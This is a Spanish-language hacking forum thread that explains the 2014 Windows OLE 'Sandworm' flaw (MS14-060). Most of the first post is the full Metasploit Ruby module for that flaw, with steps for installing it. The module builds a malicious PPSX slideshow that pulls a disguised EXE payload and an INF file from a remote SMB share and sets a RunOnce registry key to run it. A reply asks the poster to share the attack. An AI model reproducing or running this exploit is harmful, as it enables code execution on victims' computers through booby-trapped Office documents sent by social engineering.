comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

MS14-060 Microsoft Windows OLE Package Manager Code Execution Exploit

  • 1 Respuestas
  • 3141 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Stuxnet

  • *
  • Underc0der
  • Mensajes: 259
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Devel Security
  • Twitter: _stuxnet
« en: Octubre 22, 2014, 11:00:35 pm »

Una nueva vulnerabilidad reconocida ayer por Microsoft puede permitir la ejecución de códigos remotos. Esta vulnerabilidad, conocida como CVE-2014-6352 aún no ha sido parcheada de forma definitiva, y todas las versiones de Windows (excepto Windows Server 2003) son vulnerables aunque existan work arounds que detallaremos en este post.

Microsoft ha reconocido que ya está al tanto de ataques dirigidos en los cuales atacantes explotan esta vulnerabilidad a través de objetos OLE en presentaciones de Power Point.

La falla está presente en el mecanismo OLE de Windows. OLE, Object Link and Embedding, fue desarrollado por Microsoft y tiene muchas funcionalidades, pero básicamente permite que elementos u objetos de distintos formatos ubicados en distintas rutas sean utilizados por varios programas. Un buen ejemplo es un texto escrito en Word que contiene hojas de cálculo de Excel, figuras y/o fotos, entre otros; que originalmente se encuentran en otras rutas puedan ser accedidas en el texto gracias al hecho de estar incrustados o embebidos en el mismo.

Un atacante tendría que utilizar la Ingeniería Social para convencer la víctima a acceder un sitio específico y hacer clic en un objeto infectado. Es importante destacar que esta vulnerabilidad solamente puede ser explotada si el usuario hace clic en un objeto infectado.

Este es el modulo de metasploit, con el que puden explotar esta vulnerabilidad.

Lo guardan con el nombre de: ms14_060_sandworm.rb y luego lo copian a su carpeta: ruta_metasploit/exploit/windows/fileformat

Código: Ruby
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7.  
  8. class Metasploit3 < Msf::Exploit::Remote
  9.   Rank = ExcellentRanking
  10.  
  11.   include Msf::Exploit::FILEFORMAT
  12.   include Msf::Exploit::EXE
  13.  
  14.   def initialize(info={})
  15.     super(update_info(info,
  16.       'Name'           => "MS14-060 Microsoft Windows OLE Package Manager Code Execution",
  17.       'Description'    => %q{
  18.         This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
  19.         allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows
  20.         Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be
  21.         vulnerable. However, based on our testing, the most reliable setup is on Windows platforms
  22.         running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such
  23.         as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to
  24.         a failure in the CPackage::CreateTempFileName function.
  25.  
  26.         This module will generate three files: an INF, a GIF, and a PPSX file. You are required to
  27.         set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an
  28.         older version of Winodws (such as XP) work best for this because they require little
  29.         configuration to get going. The PPSX file is what you should send to your target.
  30.  
  31.         In detail, the vulnerability has to do with how the Object Packager 2 component
  32.         (packager.dll) handles an INF file that contains malicious registry changes, which may be
  33.         leveraged for code execution. First of all, Packager does not load the INF file directly.
  34.         But as an attacker, you can trick it to load your INF anyway by embedding the file path as
  35.         a remote share in an OLE object. The packager will then treat it as a type of media file,
  36.         and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will
  37.         download it with a CopyFileW call, save it in a temp folder, and pass that information for
  38.         later. The exploit will do this loading process twice: first for a fake gif file that's
  39.        actually the payload, and the second for the INF file.
  40.  
  41.        The packager will also look at each OLE object's XML Presentation Command, specifically the
  42.         type and cmd property. In the exploit, "verb" media command type is used, and this triggers
  43.         the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd
  44.        property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3"
  45.        is used (again, for the INF file), it will cause the packager to try to find appropriate
  46.        handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that
  47.        will install/run the malicious INF file, and finally give us arbitrary code execution.
  48.      },
  49.      'License'        => MSF_LICENSE,
  50.      'Author'         =>
  51.        [
  52.          'Unknown', # Vulnerability discovery
  53.          'sinn3r', # Metasploit module
  54.          'juan vazquez' # Metasploit module
  55.        ],
  56.      'References'     =>
  57.        [
  58.          ['CVE', '2014-4114'],
  59.          ['OSVDB', '113140'],
  60.          ['MSB', 'MS14-060'],
  61.          ['BID', '70419'],
  62.          ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'],
  63.          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'],
  64.          ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/']
  65.        ],
  66.      'Payload'        =>
  67.        {
  68.          'Space'       => 2048,
  69.          'DisableNops' => true
  70.        },
  71.      'Platform'       => 'win',
  72.      'Arch'           => ARCH_X86,
  73.      'Targets'        =>
  74.        [
  75.          ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],
  76.        ],
  77.      'Privileged'     => false,
  78.      'DisclosureDate' => "Oct 14 2014",
  79.      'DefaultTarget'  => 0))
  80.  
  81.    register_options(
  82.      [
  83.        OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
  84.        OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])
  85.      ], self.class)
  86.  end
  87.  
  88.  def exploit
  89.    @unc = validate_unc_path
  90.  
  91.    if @unc.nil?
  92.      fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
  93.    end
  94.  
  95.    print_status("Creating the EXE payload...")
  96.    payload_name = "#{rand_text_alpha(4)}.gif"
  97.    p = generate_payload_exe
  98.  
  99.    print_status("Creating the INF file...")
  100.    inf_name = "#{rand_text_alpha(4)}.inf"
  101.    inf = inf_file(payload_name)
  102.  
  103.    print_status("Creating '#{datastore['FILENAME']}' file ...")
  104.     exe_stream = ole_exe(payload_name)
  105.     inf_stream = ole_inf(inf_name)
  106.     zip = zip_ppsx(exe_stream, inf_stream)
  107.     file_create(zip)
  108.  
  109.     payload_path = my_file_create(p, payload_name)
  110.     print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}")
  111.  
  112.     inf_path = my_file_create(inf, inf_name)
  113.     print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
  114.   end
  115.  
  116.   def validate_unc_path
  117.     if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
  118.       unc = datastore['UNCPATH']
  119.     else
  120.       unc = nil
  121.     end
  122.  
  123.     unc
  124.   end
  125.  
  126.   def my_file_create(data, name)
  127.     ltype = "exploit.fileformat.#{self.shortname}"
  128.     path = store_local(ltype, nil, data, name)
  129.  
  130.     path
  131.   end
  132.  
  133.   def zip_ppsx(ole_exe, ole_inf)
  134.     zip_data = {}
  135.     data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')
  136.  
  137.     Dir["#{data_dir}/**/**"].each do |file|
  138.       unless File.directory?(file)
  139.         zip_data[file.sub(data_dir,'')] = File.read(file)
  140.       end
  141.     end
  142.  
  143.     # add the otherwise skipped "hidden" file
  144.     file = "#{data_dir}/_rels/.rels"
  145.     zip_data[file.sub(data_dir,'')] = File.read(file)
  146.  
  147.     # put our own OLE streams
  148.     zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
  149.     zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf
  150.  
  151.     # create the ppsx
  152.     ppsx = Rex::Zip::Archive.new
  153.     zip_data.each_pair do |k,v|
  154.       ppsx.add_file(k,v)
  155.     end
  156.  
  157.     ppsx.pack
  158.   end
  159.  
  160.   def ole_inf(file_name)
  161.     content = "EmbeddedStg2.txt\x00"
  162.     content << "#{@unc}\\#{file_name}\x00"
  163.  
  164.     data = [content.length].pack('V')
  165.     data << content
  166.     ole = create_ole("\x01OLE10Native", data)
  167.  
  168.     ole
  169.   end
  170.  
  171.   def ole_exe(file_name)
  172.     content = "EmbeddedStg1.txt\x00"
  173.     content << "#{@unc}\\#{file_name}\x00"
  174.  
  175.     data = [content.length].pack('V')
  176.     data << content
  177.  
  178.     ole = create_ole("\x01OLE10Native", data)
  179.  
  180.     ole
  181.   end
  182.  
  183.   def create_ole(stream_name, data)
  184.     ole_tmp = Rex::Quickfile.new('ole')
  185.     stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
  186.  
  187.     stm = stg.create_stream(stream_name)
  188.     stm << data
  189.     stm.close
  190.  
  191.     directory = stg.instance_variable_get(:@directory)
  192.     directory.each_entry do |entry|
  193.       if entry.instance_variable_get(:@_ab) == 'Root Entry'
  194.         # 02260200-0000-0000-c000-000000000046 # Video clip
  195.         clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
  196.         entry.instance_variable_set(:@_clsId, clsid)
  197.       end
  198.     end
  199.  
  200.     # write to disk
  201.     stg.close
  202.  
  203.     ole_contents = File.read(ole_tmp.path)
  204.     ole_tmp.close
  205.     ole_tmp.unlink
  206.  
  207.     ole_contents
  208.   end
  209.  
  210.   def inf_file(gif_name)
  211.     inf = <<-EOF
  212. ; 61883.INF
  213. ; Copyright (c) Microsoft Corporation.  All rights reserved.
  214.  
  215. [Version]
  216. Signature = "$CHICAGO$"
  217. Class=61883
  218. ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
  219. Provider=%Msft%
  220. DriverVer=06/21/2006,6.1.7600.16385
  221.  
  222. [DestinationDirs]
  223. DefaultDestDir = 1
  224.  
  225. [DefaultInstall]
  226. RenFiles = RxRename
  227. AddReg = RxStart
  228.  
  229. [RxRename]
  230. #{gif_name}.exe, #{gif_name}
  231. [RxStart]#
  232. HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe
  233. EOF
  234.  
  235.     inf
  236.   end
  237.  
  238. end

Fuente:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
« Última modificación: Octubre 23, 2014, 11:13:38 am por Stuxnet »
You are not allowed to view links. Register or Login

Desconectado zekurity

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: zekurity@hotmail.com
« Respuesta #1 en: Octubre 24, 2014, 09:18:14 pm »
hola bro has hecho el ataque ? quisiera ver si puedes compartir el ataque

 

¿Te gustó el post? COMPARTILO!



[video] Introducción al Exploiting en Windows x86 by UND3R (Corelan)

Iniciado por .:UND3R:.

Respuestas: 0
Vistas: 1448
Último mensaje Marzo 21, 2018, 12:40:31 pm
por .:UND3R:.
Crackear password de administrador en windows usando Backtrack 3

Iniciado por dracko.rx

Respuestas: 0
Vistas: 2073
Último mensaje Febrero 25, 2010, 11:25:50 am
por dracko.rx
CVE-2015-1701 : Windows 7 privilege escalation vulnerability

Iniciado por LionSec

Respuestas: 8
Vistas: 3992
Último mensaje Mayo 22, 2015, 08:02:27 pm
por rand0m
[Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)

Iniciado por CalebBucker

Respuestas: 4
Vistas: 4077
Último mensaje Diciembre 23, 2012, 10:08:37 pm
por CalebBucker
CVE-2015-1701: Elevar privilegios en Windows

Iniciado por ANTRAX

Respuestas: 1
Vistas: 3307
Último mensaje Julio 20, 2015, 02:41:07 pm
por rand0m